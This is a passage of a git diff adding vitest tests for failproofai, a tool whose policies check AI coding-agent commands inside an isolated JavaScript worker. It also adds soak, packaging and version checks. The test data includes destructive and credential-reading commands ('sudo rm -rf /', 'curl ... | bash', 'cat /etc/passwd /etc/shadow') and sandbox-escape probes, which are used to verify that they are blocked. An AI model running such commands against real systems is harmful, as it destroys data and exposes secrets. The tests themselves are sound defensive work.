(!existsSync(BUNDLE)) { + execFileSync( + process.execPath, + [resolvePath(REPO_ROOT, "node_modules/.cache/failproofai-dev/node_modules/.bin/bun"), + "scripts/build-sealed-bundle.ts"], + { cwd: REPO_ROOT, stdio: "pipe" }, + ); + } + source = readFileSync(BUNDLE, "utf8"); +}); + +describe("the bundle is self-contained", () => { + it("loads in a context with no Node globals at all", () => { + // If this throws, the message names the missing global — which is the + // whole diagnostic value of running it deprived rather than in Node. + expect(() => newSealedContext()).not.toThrow(); + }); + + it("installs exactly the three expected globals and nothing else", () => { + const ctx = newSealedContext(); + const installed = Object.keys(ctx).sort(); + expect(installed).toEqual([ + "__fpai_sealed_evaluate", + "__fpai_sealed_policies", + "__fpai_sealed_version", + "process", + ]); + }); + + it("contains no reference to a module loader or a network call", () => { + // Belt-and-braces against the build plugin silently failing to substitute: + // a `require(` surviving would only fail at the moment a policy hit that + // code path, which could be months later and on someone else's machine. + expect(source).not.toMatch(/\bfrom\s*["']node:/); + expect(source).not.toMatch(/\brequire\s*\(\s*["']/); + expect(source).not.toMatch(/\bfetch\s*\(/); + expect(source).not.toMatch(/posthog/i); + expect(source).not.toMatch(/i\.posthog\.com/); + }); +}); + +describe("the sealed context is deprived", () => { + it("has no process environment to read", () => { + const ctx = newSealedContext(); + // The prelude defines `process.env` as a frozen empty object so a legacy + // lambda cannot ReferenceError. It must stay empty: a policy reading the + // daemon's environment would see the daemon's own PATH and, later, the + // delivery key — neither of which is part of the evaluation request. + const env = vm.runInContext("JSON.stringify(process.env)", ctx as object); + expect(env).toBe("{}"); + expect(vm.runInContext("Object.isFrozen(process.env)", ctx as object)).toBe(true); + }); + + it("cannot reach the filesystem", () => { + const ctx = newSealedContext(); + for (const expr of ["typeof require", "typeof fetch", "typeof Bun", "typeof globalThis.fs"]) { + expect(vm.runInContext(expr, ctx as object)).toBe("undefined"); + } + }); + + it("throws ReferenceError when policy-shaped code reaches for a host module", () => { + const ctx = newSealedContext(); + // The plan's spike criterion, stated as a test: prove that reaching for + // `require("node:fs")` from inside the sealed context THROWS rather than + // succeeding. In QuickJS this is the same ReferenceError for the same + // reason — no bindings are registered. + // + // Asserted by `name`, not `instanceof`. The context is a separate realm, so + // its `ReferenceError` is a different constructor than this file's and + // `instanceof` is false across the boundary. That the check fails is itself + // confirmation the isolation is real rather than a shared-global illusion. + for (const expr of ['require("node:fs")', 'require("fs")', "process.binding('fs')"]) { + let thrown: unknown; + try { + vm.runInContext(expr, ctx as object); + } catch (err) { + thrown = err; + } + expect(thrown, `${expr} should have thrown`).toBeDefined(); + expect((thrown as Error).name).toMatch(/^(ReferenceError|TypeError)$/); + } + }); + + it("cannot escape via the constructor trick", () => { + const ctx = newSealedContext(); + // `(function(){}).constructor("return this")()` reaches the *context's* + // global, not the host's — assert it stays inside. + const escaped = vm.runInContext( + '(function(){}).constructor("return typeof globalThis.require")()', + ctx as object, + ); + expect(escaped).toBe("undefined"); + }); +}); + +describe("the worker evaluates", () => { + const baseConfig = { enabledPolicies: ["block-sudo"] }; + + async function evaluateIn(ctx: SealedContext, request: unknown): Promise> { + const json = await ctx.__fpai_sealed_evaluate!(JSON.stringify(request)); + return JSON.parse(json) as Record; + } + + it("reports the 32 sealed-eligible policies", () => { + const ctx = newSealedContext(); + const names = JSON.parse(ctx.__fpai_sealed_policies!()) as string[]; + expect(names).toHaveLength(32); + expect(names).toContain("block-sudo"); + expect(names).not.toContain("require-commit-before-stop"); + }); + + it("denies a sudo command with the Claude PreToolUse shape", async () => { + const ctx = newSealedContext(); + const res = await evaluateIn(ctx, { + eventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "sudo rm -rf /" } }, + session: { cli: "claude", cwd: "/home/u/project", home: "/home/u" }, + config: baseConfig, + }); + expect(res.ok).toBe(true); + const result = res.result as Record; + expect(result.decision).toBe("deny"); + expect(result.policyName).toBe("failproofai/block-sudo"); + expect(result.exitCode).toBe(0); + expect(JSON.parse(result.stdout as string)).toEqual({ + hookSpecificOutput: { + hookEventName: "PreToolUse", + permissionDecision: "deny", + permissionDecisionReason: + "Blocked Bash by failproofai because: sudo commands are blocked, as per the policy configured by the user", + }, + }); + }); + + it("allows a benign command", async () => { + const ctx = newSealedContext(); + const res = await evaluateIn(ctx, { + eventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "ls -la" } }, + session: { cli: "claude", cwd: "/home/u/project", home: "/home/u" }, + config: baseConfig, + }); + expect(res.ok).toBe(true); + expect((res.result as Record).decision).toBe("allow"); + }); + + it("routes a host-access policy out rather than running it", async () => { + const ctx = newSealedContext(); + const res = await evaluateIn(ctx, { + eventType: "Stop", + payload: {}, + session: { cli: "claude", cwd: "/home/u/project", home: "/home/u" }, + config: { enabledPolicies: ["block-sudo", "require-commit-before-stop"] }, + }); + expect(res.ok).toBe(true); + // It must NOT have run — running it would need `git`, which the sealed + // context cannot spawn. Reported for the daemon to route instead. + expect(res.needsUserContext).toEqual(["require-commit-before-stop"]); + }); + + it("uses the request's home, not any ambient one", async () => { + const ctx = newSealedContext(); + const res = await evaluateIn(ctx, { + eventType: "PreToolUse", + payload: { tool_name: "Read", tool_input: { file_path: "/home/enrolled/.claude/CLAUDE.md" } }, + session: { cli: "claude", cwd: "/home/u/project", home: "/home/enrolled" }, + config: { enabledPolicies: ["block-read-outside-cwd"] }, + }); + expect(res.ok).toBe(true); + // Whitelisted because it is under the REQUESTING user's agent dir. There is + // no ambient home in this context at all, so this can only have come from + // the request. + expect((res.result as Record).decision).toBe("allow"); + }); + + it("reports sealed_unattested-ness when a client-asserted field was present", async () => { + const ctx = newSealedContext(); + const withCwd = await evaluateIn(ctx, { + eventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "ls" } }, + session: { cli: "claude", cwd: "/home/u/project", home: "/home/u" }, + config: baseConfig, + }); + expect(withCwd.readClientAssertedHost).toBe(true); + + const withoutCwd = await evaluateIn(ctx, { + eventType: "PreToolUse", + payload: { tool_name: "Bash", tool_input: { command: "ls" } }, + session: { cli: "claude", home: "/home/u" }, + config: baseConfig, + }); + expect(withoutCwd.readClientAssertedHost).toBe(false); + }); + + it("returns a structured error rather than throwing across the boundary", async () => { + const ctx = newSealedContext(); + const raw = await ctx.__fpai_sealed_evaluate!("{ not json"); + const parsed = JSON.parse(raw) as Record; + expect(parsed.ok).toBe(false); + expect(String(parsed.error)).toContain("not valid JSON"); + }); + + it("an error is never reported as an allow", async () => { + // The distinction that matters: a failed evaluation must be visibly failed, + // so the daemon counts it toward the circuit breaker and applies the + // configured failure mode — never silently permissive. + const ctx = newSealedContext(); + const parsed = JSON.parse(await ctx.__fpai_sealed_evaluate!("garbage")) as Record; + expect(parsed.ok).toBe(false); + expect(parsed.result).toBeUndefined(); + expect(parsed.decision).toBeUndefined(); + }); +}); diff --git a/__tests__/policy-runtime/sealed-soak.test.ts b/__tests__/policy-runtime/sealed-soak.test.ts new file mode 100644 index 00000000..7e5fdc4a --- /dev/null +++ b/__tests__/policy-runtime/sealed-soak.test.ts @@ -0,0 +1,296 @@ +/** + * The Stage-1 worker soak test, and sealed-vs-legacy byte parity. + * + * From 01-stages.md, Stage 1's exit criteria: + * + * > the **worker soak test** passes — the whole corpus twice through one warm + * > worker, then once in randomized order, with identical output both times. + * > That last one is the important gate: every hook today is a fresh process, + * > so the `globalThis` policy registry, the index cache, the cwd-keyed + * > git-branch cache, and every hoisted `/g` regex start clean. A resident + * > worker changes that, and the failure mode is a *wrong verdict*, not a + * > crash. + * + * That is the whole reason this file exists. Nothing else in the suite would + * notice: a leaked `lastIndex` on a hoisted `/g` regex makes the *second* + * evaluation of the same input return a different answer, and every existing + * test evaluates each input exactly once, in a fresh process. + * + * Three assertions, in increasing strength: + * + * 1. **Warm repeat** — the corpus twice through one context, identical bytes. + * 2. **Warm shuffled** — the corpus again, order randomised, still identical. + * Catches order-dependent state that a straight repeat would not: state + * seeded by row N that only changes row M's answer. + * 3. **Warm equals cold** — the same corpus through a *fresh context per + * row*, identical to the warm run. This is the real property. (1) and (2) + * only prove the worker is self-consistent; a worker that is consistently + * wrong passes both. Comparing against a fresh context is what pins the + * resident worker to the semantics of the per-event process it replaces. + * + * Then, separately: **byte-exact parity against the legacy TypeScript + * evaluator** running in-process. `policy-evaluator.ts` encodes roughly a dozen + * mutually incompatible vendor response contracts, and byte-exactness is the + * only assertion that catches a reimplementation that is "semantically + * equivalent" and silently allows. The sealed worker runs the *same* bundled + * code, so this ought to be trivially true — which is exactly why it is worth + * asserting: if it ever stops being true, the bundle and the source have + * diverged and nothing else would say so. + */ +import { describe, it, expect, beforeAll, afterEach } from "vitest"; +import { readFileSync, existsSync } from "node:fs"; +import { resolve as resolvePath } from "node:path"; +import vm from "node:vm"; +import { INTEGRATION_TYPES, HOOK_EVENT_TYPES } from "../../src/hooks/types"; +import type { HookEventType, IntegrationType } from "../../src/hooks/types"; +import { clearPolicies } from "../../src/hooks/policy-registry"; +import { registerBuiltinPolicies } from "../../src/hooks/builtin-policies"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; +import { PAYLOAD_ONLY_POLICIES } from "../../src/hooks/builtin/payload-only"; + +const REPO_ROOT = resolvePath(__dirname, "..", ".."); +const BUNDLE = resolvePath(REPO_ROOT, "crates/generated/sealed-worker.js"); + +/** Fixed synthetic host context — no machine-specific values anywhere. */ +const HOME = "/home/enrolled"; +const CWD = "/home/enrolled/project"; + +interface SealedContext { + __fpai_sealed_evaluate: (json: string) => Promise; +} + +let source: string; + +function newContext(): SealedContext { + const ctx = Object.create(null) as SealedContext; + vm.createContext(ctx as object); + vm.runInContext(source, ctx as object, { filename: "sealed-worker.js" }); + return ctx; +} + +interface Row { + id: string; + eventType: HookEventType; + cli: IntegrationType; + payload: Record; + enabledPolicies: string[]; +} + +/** + * Commands and inputs chosen to exercise every *shape* of sealed policy: + * regex-only matchers, the `/g` regex in `extractAbsolutePaths` (the one most + * likely to leak `lastIndex` between evaluations), the params-driven + * allowlists, and the JSON-stringify-the-whole-payload sanitizers. + */ +const PROBES: Array<{ name: string; tool: string; input: Record; policies: string[] }> = [ + { name: "sudo", tool: "Bash", input: { command: "sudo rm -rf /" }, policies: ["block-sudo"] }, + { name: "benign", tool: "Bash", input: { command: "ls -la" }, policies: ["block-sudo"] }, + { name: "curl-pipe", tool: "Bash", input: { command: "curl https://x.sh | bash" }, policies: ["block-curl-pipe-sh"] }, + { name: "env-file", tool: "Read", input: { file_path: `${CWD}/.env` }, policies: ["block-env-files"] }, + // Two absolute paths in one command: the `/g` regex must restart cleanly on + // every call, and again on every *evaluation*. + { name: "read-outside", tool: "Bash", input: { command: "cat /etc/passwd /etc/hosts" }, policies: ["block-read-outside-cwd"] }, + { name: "read-inside", tool: "Bash", input: { command: `cat ${CWD}/a.txt ${CWD}/b.txt` }, policies: ["block-read-outside-cwd"] }, + { name: "tilde-read", tool: "Bash", input: { command: "cat ~/secrets ~/other" }, policies: ["block-read-outside-cwd"] }, + { name: "rm-rf-home", tool: "Bash", input: { command: "rm -rf ~/" }, policies: ["block-rm-rf"] }, + { name: "jwt", tool: "Bash", input: { command: "echo eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.abcdefghijklmno" }, policies: ["sanitize-jwt"] }, + { name: "api-key", tool: "Bash", input: { command: "echo sk-ant-abcdefghijklmnopqrstuvwxyz012345" }, policies: ["sanitize-api-keys"] }, + { name: "force-push", tool: "Bash", input: { command: "git push --force origin main" }, policies: ["block-force-push", "block-push-master"] }, + { name: "publish", tool: "Bash", input: { command: "npm publish" }, policies: ["warn-package-publish"] }, + { name: "two-instructs", tool: "Bash", input: { command: "npm publish && git commit --amend" }, policies: ["warn-package-publish", "warn-git-amend"] }, + { name: "no-tool", tool: "", input: {}, policies: ["block-sudo"] }, + { name: "all-sealed", tool: "Bash", input: { command: "sudo kubectl apply -f x.yaml" }, policies: PAYLOAD_ONLY_POLICIES.map((p) => p.name) }, +]; + +/** + * The corpus: every CLI × every event × every probe. Derived from the + * constants, never hardcoded, so a thirteenth CLI or a new event enlarges the + * soak automatically rather than silently going untested. + */ +function buildCorpus(): Row[] { + const rows: Row[] = []; + for (const cli of INTEGRATION_TYPES) { + for (const eventType of HOOK_EVENT_TYPES) { + for (const probe of PROBES) { + rows.push({ + id: `${cli}/${eventType}/${probe.name}`, + eventType, + cli, + payload: probe.tool ? { tool_name: probe.tool, tool_input: probe.input } : {}, + enabledPolicies: probe.policies, + }); + } + } + } + return rows; +} + +const CORPUS = buildCorpus(); + +function requestFor(row: Row): string { + return JSON.stringify({ + eventType: row.eventType, + payload: row.payload, + session: { cli: row.cli, cwd: CWD, home: HOME, permissionMode: "default", sessionId: "sess-soak" }, + config: { enabledPolicies: row.enabledPolicies }, + }); +} + +/** Run the whole corpus through one context, returning id -> raw response JSON. */ +async function runCorpus(ctx: SealedContext, rows: readonly Row[]): Promise> { + const out = new Map(); + for (const row of rows) { + out.set(row.id, await ctx.__fpai_sealed_evaluate(requestFor(row))); + } + return out; +} + +/** A deterministic shuffle, so a failure is reproducible rather than flaky. */ +function shuffled(items: readonly T[], seed: number): T[] { + const copy = [...items]; + let state = seed; + for (let i = copy.length - 1; i > 0; i--) { + state = (state * 1103515245 + 12345) & 0x7fffffff; + const j = state % (i + 1); + [copy[i], copy[j]] = [copy[j], copy[i]]; + } + return copy; +} + +function firstDivergence(a: Map, b: Map): string | null { + for (const [id, va] of a) { + const vb = b.get(id); + if (va !== vb) return `${id}\n first : ${va}\n second: ${vb}`; + } + return null; +} + +beforeAll(() => { + if (!existsSync(BUNDLE)) { + throw new Error( + `missing ${BUNDLE}. Build it first: bun scripts/build-sealed-bundle.ts`, + ); + } + source = readFileSync(BUNDLE, "utf8"); +}); + +describe("warm sealed worker", () => { + it(`the corpus is large enough to be a soak (${CORPUS.length} rows)`, () => { + // Anti-vacuity, and it scales with the constants: 12 CLIs x 29 events x 15 + // probes today. If PROBES or a constant list is ever emptied, this fails + // rather than the soak silently passing on nothing. + expect(CORPUS.length).toBeGreaterThan(3000); + expect(CORPUS.length).toBe(INTEGRATION_TYPES.length * HOOK_EVENT_TYPES.length * PROBES.length); + }); + + it("produces identical bytes on a second pass through the same context", async () => { + const ctx = newContext(); + const first = await runCorpus(ctx, CORPUS); + const second = await runCorpus(ctx, CORPUS); + expect(firstDivergence(first, second)).toBeNull(); + }); + + it("produces identical bytes when the same context replays in a different order", async () => { + const ctx = newContext(); + const inOrder = await runCorpus(ctx, CORPUS); + const outOfOrder = await runCorpus(ctx, shuffled(CORPUS, 20260730)); + expect(firstDivergence(inOrder, outOfOrder)).toBeNull(); + }); + + it("a warm context agrees with a cold context, row for row", async () => { + // The assertion that actually pins the semantics. Self-consistency (the two + // tests above) is satisfied by a worker that is consistently wrong; this is + // not. A fresh context per row is the analogue of today's fresh process per + // hook event. + const warm = newContext(); + const warmResults = await runCorpus(warm, CORPUS); + + const coldResults = new Map(); + for (const row of CORPUS) { + coldResults.set(row.id, await newContext().__fpai_sealed_evaluate(requestFor(row))); + } + + expect(firstDivergence(warmResults, coldResults)).toBeNull(); + // 120s, not the 5s default: this builds a fresh VM context per row, which + // means parsing the 107 KB bundle 5,220 times. It runs in ~3s alone and + // several times that under the full suite's parallel load. Sampling the + // cold side would be faster and would weaken the one assertion in this file + // that pins the resident worker to per-event-process semantics, so the + // budget moves instead of the coverage. + }, 120_000); + + it("stays correct after ten thousand evaluations of the same input", async () => { + // Targeted at the failure the plan names by hand: a hoisted `/g` regex + // whose `lastIndex` survives. `extractAbsolutePaths` uses one, and + // `block-read-outside-cwd` is the policy that calls it. A drifting + // `lastIndex` would start skipping the first path in the command. + const ctx = newContext(); + const row: Row = { + id: "repeat", + eventType: "PreToolUse", + cli: "claude", + payload: { tool_name: "Bash", tool_input: { command: "cat /etc/passwd /etc/shadow" } }, + enabledPolicies: ["block-read-outside-cwd"], + }; + const req = requestFor(row); + const baseline = await ctx.__fpai_sealed_evaluate(req); + for (let i = 0; i < 10_000; i++) { + const got = await ctx.__fpai_sealed_evaluate(req); + if (got !== baseline) { + throw new Error(`diverged at iteration ${i}:\n baseline: ${baseline}\n got : ${got}`); + } + } + // And the baseline itself must be the right answer, not a stable wrong one. + const parsed = JSON.parse(baseline) as { ok: boolean; result: { decision: string; reason: string } }; + expect(parsed.ok).toBe(true); + expect(parsed.result.decision).toBe("deny"); + expect(parsed.result.reason).toContain("/etc/passwd"); + }, 60_000); +}); + +describe("sealed output is byte-identical to the legacy evaluator", () => { + afterEach(() => { + clearPolicies(); + }); + + it("agrees on every corpus row", async () => { + const ctx = newContext(); + const divergences: string[] = []; + + for (const row of CORPUS) { + const sealedRaw = await ctx.__fpai_sealed_evaluate(requestFor(row)); + const sealed = JSON.parse(sealedRaw) as { ok: boolean; result?: Record }; + expect(sealed.ok, `${row.id} errored: ${sealedRaw}`).toBe(true); + + // The legacy path, in-process, with the SAME host context supplied on the + // session so both sides read it from the request rather than one of them + // falling back to this machine's homedir. + clearPolicies(); + registerBuiltinPolicies(row.enabledPolicies); + const legacy = await evaluatePolicies( + row.eventType, + row.payload, + { cli: row.cli, cwd: CWD, home: HOME, permissionMode: "default", sessionId: "sess-soak" }, + { enabledPolicies: row.enabledPolicies }, + ); + + // Byte-exact on every field a harness observes. `policyNames` is + // `undefined` on the deny path and an array on the instruct path, so it + // is compared through JSON to keep undefined-vs-absent from mattering. + const a = JSON.stringify(sealed.result); + const b = JSON.stringify({ + exitCode: legacy.exitCode, + stdout: legacy.stdout, + stderr: legacy.stderr, + policyName: legacy.policyName, + policyNames: legacy.policyNames, + reason: legacy.reason, + decision: legacy.decision, + }); + if (a !== b) divergences.push(`${row.id}\n sealed: ${a}\n legacy: ${b}`); + if (divergences.length >= 5) break; // enough to diagnose; don't spam + } + + expect(divergences).toEqual([]); + }, 120_000); +}); diff --git a/__tests__/scripts/check-pack-allowlist.test.ts b/__tests__/scripts/check-pack-allowlist.test.ts new file mode 100644 index 00000000..92f65ae6 --- /dev/null +++ b/__tests__/scripts/check-pack-allowlist.test.ts @@ -0,0 +1,198 @@ +// @vitest-environment node +import { describe, it, expect } from "vitest"; +import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; + +import { + topLevelEntries, + parseExpected, + renderExpected, + checkPackAllowlist, +} from "@/scripts/check-pack-allowlist.mjs"; + +const REPO_ROOT = join(__dirname, "..", ".."); +const EXPECTED_FILE = join(REPO_ROOT, ".github", "expected-pack-files.txt"); + +describe("topLevelEntries", () => { + it("reduces file paths to the sorted set of first path segments", () => { + expect( + topLevelEntries([ + ".next/standalone/server.js", + ".next/standalone/node_modules/next/index.js", + "dist/cli.mjs", + "dist/index.js", + "package.json", + "src/hooks/handler.ts", + ]), + ).toEqual([".next", "dist", "package.json", "src"]); + }); + + it("collapses the ~1500 .next files that motivate the granularity", () => { + const paths = Array.from({ length: 1500 }, (_, i) => `.next/standalone/node_modules/p${i}/i.js`); + expect(topLevelEntries(paths)).toEqual([".next"]); + }); +}); + +describe("parseExpected / renderExpected", () => { + it("ignores comments and blank lines", () => { + expect(parseExpected("# a comment\n\n dist \n.next\n\n")).toEqual([".next", "dist"]); + }); + + it("round-trips through render", () => { + const entries = [".next", "LICENSE", "bin", "dist"]; + expect(parseExpected(renderExpected(entries))).toEqual(entries); + }); + + it("tells the reader how to regenerate", () => { + expect(renderExpected(["dist"])).toContain("node scripts/check-pack-allowlist.mjs --write"); + }); +}); + +describe("checkPackAllowlist", () => { + function withRoot(fn: (root: string) => void) { + const root = mkdtempSync(join(tmpdir(), "pack-allowlist-")); + try { + fn(root); + } finally { + rmSync(root, { recursive: true, force: true }); + } + } + + it("passes when actual and expected agree", () => { + withRoot((root) => { + const result = checkPackAllowlist({ + actual: [".next", "dist", "package.json"], + expected: [".next", "dist", "package.json"], + rootDir: root, + }); + expect(result.ok).toBe(true); + expect(result.errors).toEqual([]); + }); + }); + + it("fails on a new top-level entry that would silently ship", () => { + withRoot((root) => { + const result = checkPackAllowlist({ + actual: ["dist", "desgin-docs"], + expected: ["dist"], + rootDir: root, + }); + expect(result.ok).toBe(false); + expect(result.errors.join("\n")).toContain("desgin-docs"); + expect(result.errors.join("\n")).toContain("would be published"); + }); + }); + + it("fails on an expected entry that would silently NOT ship", () => { + withRoot((root) => { + const result = checkPackAllowlist({ + actual: ["package.json"], + expected: ["package.json", "bin"], + rootDir: root, + }); + expect(result.ok).toBe(false); + expect(result.errors.join("\n")).toContain("would NOT be published"); + }); + }); + + it("downgrades a missing build-output root to a notice in an unbuilt tree", () => { + // The quality job does not build, so `dist/` and `.next/` are legitimately + // absent there. The build job runs the same check after `bun run build`. + withRoot((root) => { + const result = checkPackAllowlist({ + actual: ["package.json"], + expected: ["package.json", "dist", ".next"], + rootDir: root, + }); + expect(result.ok).toBe(true); + expect(result.notices).toHaveLength(2); + expect(result.notices.join("\n")).toContain("has not been built"); + }); + }); + + it("still treats .next as unbuilt when a failed build left the directory empty", () => { + // `next build` creates `.next/` before it can fail, so keying "was this + // built?" off the top-level directory would turn every interrupted local + // build into a spurious failure. The packed subpath is what counts. + withRoot((root) => { + mkdirSync(join(root, ".next", "cache"), { recursive: true }); + const result = checkPackAllowlist({ + actual: ["package.json"], + expected: ["package.json", ".next"], + rootDir: root, + }); + expect(result.ok).toBe(true); + expect(result.notices.join("\n")).toContain("has not been built"); + }); + }); + + it("fails when .next/standalone exists but is missing from the tarball", () => { + withRoot((root) => { + mkdirSync(join(root, ".next", "standalone"), { recursive: true }); + writeFileSync(join(root, ".next", "standalone", "server.js"), "x"); + const result = checkPackAllowlist({ + actual: ["package.json"], + expected: ["package.json", ".next"], + rootDir: root, + }); + expect(result.ok).toBe(false); + expect(result.errors.join("\n")).toContain("would NOT be published"); + }); + }); + + it("still fails when a build output exists on disk but is missing from the tarball", () => { + // This is Bug 1's failure mode: `dist/` was built, yet the `files` allowlist + // stopped carrying it. A notice here would hide a broken publish. + withRoot((root) => { + mkdirSync(join(root, "dist"), { recursive: true }); + writeFileSync(join(root, "dist", "cli.mjs"), "x"); + const result = checkPackAllowlist({ + actual: ["package.json"], + expected: ["package.json", "dist"], + rootDir: root, + }); + expect(result.ok).toBe(false); + expect(result.errors.join("\n")).toContain("would NOT be published"); + }); + }); + + it("never downgrades an unexpected entry, built tree or not", () => { + withRoot((root) => { + const result = checkPackAllowlist({ + actual: ["package.json", "target"], + expected: ["package.json"], + rootDir: root, + }); + expect(result.ok).toBe(false); + }); + }); +}); + +describe("the committed .github/expected-pack-files.txt", () => { + const expected = parseExpected(readFileSync(EXPECTED_FILE, "utf8")); + + it("is non-empty and sorted", () => { + expect(expected.length).toBeGreaterThan(0); + expect(expected).toEqual([...expected].sort()); + }); + + it("lists every directory in package.json's `files` allowlist", () => { + const pkg = JSON.parse(readFileSync(join(REPO_ROOT, "package.json"), "utf8")); + for (const entry of pkg.files as string[]) { + const top = entry.replace(/\/$/, "").split("/")[0]; + expect(expected, `\`files\` entry "${entry}" -> top-level "${top}"`).toContain(top); + } + }); + + it("does not list the design-doc tree under its own top-level entry", () => { + expect(expected).not.toContain("desgin-docs"); + expect(expected).not.toContain("design-docs"); + }); + + it("does not list the Rust workspace", () => { + expect(expected).not.toContain("crates"); + expect(expected).not.toContain("target"); + expect(expected).not.toContain("Cargo.toml"); + }); +}); diff --git a/__tests__/scripts/check-versions.test.ts b/__tests__/scripts/check-versions.test.ts new file mode 100644 index 00000000..76858df1 --- /dev/null +++ b/__tests__/scripts/check-versions.test.ts @@ -0,0 +1,324 @@ +// @vitest-environment node +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from "node:fs"; +import { join } from "node:path"; +import { tmpdir } from "node:os"; + +import { + checkVersions, + extractTomlTable, + readTomlString, + inheritsWorkspaceVersion, + FORBIDDEN_LIFECYCLE_SCRIPTS, +} from "@/scripts/check-versions.mjs"; + +type Violation = { file: string; message: string }; + +const ROOT_VERSION = "0.0.16-beta.0"; + +let root: string; + +/** Write a package.json at the fixture root. */ +function writeRootPkg(extra: Record = {}) { + writeFileSync( + join(root, "package.json"), + JSON.stringify({ name: "failproofai", version: ROOT_VERSION, ...extra }, null, 2), + ); +} + +function writeCargo(version: string = ROOT_VERSION) { + writeFileSync( + join(root, "Cargo.toml"), + [ + "[workspace]", + 'resolver = "3"', + 'members = ["crates/*"]', + "", + "[workspace.package]", + `version = "${version}"`, + 'edition = "2024"', + "", + ].join("\n"), + ); +} + +function writeCrate(name: string, manifestBody: string) { + mkdirSync(join(root, "crates", name), { recursive: true }); + writeFileSync(join(root, "crates", name, "Cargo.toml"), manifestBody); +} + +function messages(violations: Violation[]) { + return violations.map((v) => `${v.file}: ${v.message}`).join("\n"); +} + +beforeEach(() => { + root = mkdtempSync(join(tmpdir(), "check-versions-")); +}); + +afterEach(() => { + rmSync(root, { recursive: true, force: true }); +}); + +describe("checkVersions — the consistent case", () => { + it("passes with only a root package.json (no packages/, no Cargo.toml)", () => { + writeRootPkg(); + expect(checkVersions(root)).toEqual([]); + }); + + it("passes with a matching Cargo workspace and a crate that inherits", () => { + writeRootPkg(); + writeCargo(); + writeCrate( + "fpai-ipc", + ['[package]', 'name = "fpai-ipc"', "version.workspace = true", "edition.workspace = true", ""].join("\n"), + ); + expect(checkVersions(root)).toEqual([]); + }); + + it("passes with matching packages/* and wrapper optionalDependencies", () => { + writeRootPkg(); + mkdirSync(join(root, "packages", "wrapper"), { recursive: true }); + writeFileSync( + join(root, "packages", "wrapper", "package.json"), + JSON.stringify({ + name: "wrapper", + version: ROOT_VERSION, + optionalDependencies: { "failproofai-linux-x64": ROOT_VERSION }, + }), + ); + expect(checkVersions(root)).toEqual([]); + }); + + it("accepts developer-local pre-hooks like predev/prestart", () => { + // These are pre-hooks for named scripts. npm never runs them on install, + // pack or publish, so they are not lifecycle scripts and must not fail. + writeRootPkg({ scripts: { predev: "bun run build:cli", prestart: "bun run build:cli", dev: "x", start: "y" } }); + expect(checkVersions(root)).toEqual([]); + }); +}); + +describe("checkVersions — absent optional trees are not errors", () => { + it("does not error when packages/ is absent", () => { + writeRootPkg(); + const violations: Violation[] = checkVersions(root); + expect(violations).toEqual([]); + expect(messages(violations)).not.toContain("packages/"); + }); + + it("does not error when Cargo.toml is absent", () => { + writeRootPkg(); + const violations: Violation[] = checkVersions(root); + expect(violations).toEqual([]); + expect(messages(violations)).not.toContain("Cargo.toml"); + }); + + it("does not error when crates/ exists but holds no crate", () => { + writeRootPkg(); + writeCargo(); + mkdirSync(join(root, "crates"), { recursive: true }); + writeFileSync(join(root, "crates", ".gitkeep"), ""); + expect(checkVersions(root)).toEqual([]); + }); +}); + +describe("checkVersions — packages/*", () => { + it("fails when a packages/* version does not match root", () => { + writeRootPkg(); + mkdirSync(join(root, "packages", "wrapper"), { recursive: true }); + writeFileSync( + join(root, "packages", "wrapper", "package.json"), + JSON.stringify({ name: "wrapper", version: "0.0.15-beta.1" }), + ); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("packages/wrapper/package.json"); + expect(violations[0].message).toContain("0.0.15-beta.1"); + expect(violations[0].message).toContain(ROOT_VERSION); + }); + + it("fails when a wrapper optionalDependency does not match root", () => { + writeRootPkg(); + mkdirSync(join(root, "packages", "wrapper"), { recursive: true }); + writeFileSync( + join(root, "packages", "wrapper", "package.json"), + JSON.stringify({ + name: "wrapper", + version: ROOT_VERSION, + optionalDependencies: { + "failproofai-linux-x64": ROOT_VERSION, + "failproofai-darwin-arm64": "0.0.14", + }, + }), + ); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("packages/wrapper/package.json"); + expect(violations[0].message).toContain("failproofai-darwin-arm64"); + expect(violations[0].message).toContain("0.0.14"); + }); +}); + +describe("checkVersions — Cargo workspace", () => { + it("fails when the workspace version does not match root package.json", () => { + writeRootPkg(); + writeCargo("0.1.0"); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("Cargo.toml"); + expect(violations[0].message).toContain("0.1.0"); + expect(violations[0].message).toContain(ROOT_VERSION); + }); + + it("fails when Cargo.toml declares no [workspace.package] version", () => { + writeRootPkg(); + writeFileSync(join(root, "Cargo.toml"), '[workspace]\nresolver = "3"\nmembers = []\n'); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("Cargo.toml"); + expect(violations[0].message).toContain("workspace.package"); + }); + + it("ignores a `#` comment after the version value", () => { + writeRootPkg(); + writeFileSync( + join(root, "Cargo.toml"), + `[workspace.package]\nversion = "${ROOT_VERSION}" # keep in sync with package.json\n`, + ); + expect(checkVersions(root)).toEqual([]); + }); +}); + +describe("checkVersions — crate version inheritance", () => { + it("fails when a crate pins a literal version", () => { + writeRootPkg(); + writeCargo(); + writeCrate( + "failproofaid", + ['[package]', 'name = "failproofaid"', `version = "${ROOT_VERSION}"`, ""].join("\n"), + ); + + const violations: Violation[] = checkVersions(root); + expect(violations).toHaveLength(1); + expect(violations[0].file).toBe("crates/failproofaid/Cargo.toml"); + expect(violations[0].message).toContain("version.workspace = true"); + }); + + it("fails a literal version even when it currently equals the root version", () => { + // The point is drift-resistance, not today's equality — a matching literal + // is exactly the one that silently goes stale on the next bump. + writeRootPkg(); + writeCargo(); + writeCrate("fpai-canon", `[package]\nname = "fpai-canon"\nversion = "${ROOT_VERSION}"\n`); + expect(checkVersions(root)).toHaveLength(1); + }); + + it("accepts the inline table spelling `version = { workspace = true }`", () => { + 